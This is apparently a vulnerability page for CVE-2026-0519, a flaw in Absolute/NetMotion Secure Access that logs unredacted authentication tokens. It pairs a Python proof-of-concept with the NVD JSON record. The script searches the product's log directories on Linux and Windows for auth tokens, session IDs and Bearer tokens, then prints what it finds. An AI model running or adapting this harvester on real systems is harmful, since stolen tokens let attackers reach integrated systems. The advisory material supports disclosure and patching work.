CVE-2026-0519

#!/usr/bin/env python3 # CVE-2026-0519 PoC - NetMotion Secure Access Token Log Extraction # This PoC demonstrates how to extract authentication tokens from logs import os import re import sys from pathlib import Path def search_log_files(log_dir, patterns): """Search for authentication tokens in log files""" tokens = [] log_files = list(Path(log_dir).rglob('*.log')) for log_file in log_files: try: with open(log_file, 'r', encoding='utf-8', errors='ignore') as f: content = f.read() for pattern in patterns: matches = re.findall(pattern, content) for match in matches: tokens.append({ 'file': str(log_file), 'token': match, 'pattern': pattern }) except Exception as e: print(f"Error reading {log_file}: {e}") return tokens def main(): # Common log locations for NetMotion Secure Access log_dirs = [ '/var/log/netmotion/', '/opt/netmotion/logs/', 'C:\\Program Files\\NetMotion\\logs\\', 'C:\\NetMotion\\logs\\' ] # Token patterns to search token_patterns = [ r'auth[_-]?token[=:\s]+["\']?([a-zA-Z0-9_\-]{32,})', r'token[=:\s]+["\']?([a-zA-Z0-9_\-]{32,})', r'session[_-]?id[=:\s]+["\']?([a-zA-Z0-9_\-]{32,})', r'Bearer\s+([a-zA-Z0-9_\-\.]+)' ] print("CVE-2026-0519 - NetMotion Secure Access Token Extraction PoC") print("=" * 60) for log_dir in log_dirs: if os.path.exists(log_dir): print(f"\nSearching in: {log_dir}") tokens = search_log_files(log_dir, token_patterns) if tokens: print(f"Found {len(tokens)} potential tokens:") for token_info in tokens: print(f" File: {token_info['file']}") print(f" Token: {token_info['token'][:20]}...") else: print(" No tokens found in this location") if __name__ == '__main__': main()

{"cve": {"id": "CVE-2026-0519", "sourceIdentifier": "[email protected]", "published": "2026-01-17T02:15:49.627", "lastModified": "2026-02-02T16:04:56.253", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In Secure Access 12.70 and prior to 14.20, the logging \nsubsystem may write an unredacted authentication token to logs under \ncertain configurations. Any party with access to those logs could read \nthe token and reuse it to access an integrated system."}, {"lang": "es", "value": "En Secure Access 12.70 y previo a la 14.20, el subsistema de registro podría escribir un token de autenticación sin redactar en los registros bajo ciertas configuraciones. Cualquier parte con acceso a esos registros podría leer el token y reutilizarlo para acceder a un sistema integrado."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:H/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 4.6, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "HIGH", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:N", "baseScore": 3.4, "baseSeverity": "LOW", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 0.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-532"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:absolute:secure_access:*:*:*:*:*:*:*:*", "versionStartIncluding": "12.70", "versionEndExcluding": "14.20", "matchCriteriaId": "DB3C9C13-5E04-471A-8CAA-C09B049F420F"}]}]}], "references": [{"url": "https://www.absolute.com/platform/security-information/vulnerability-archive/cve-2026-0519", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}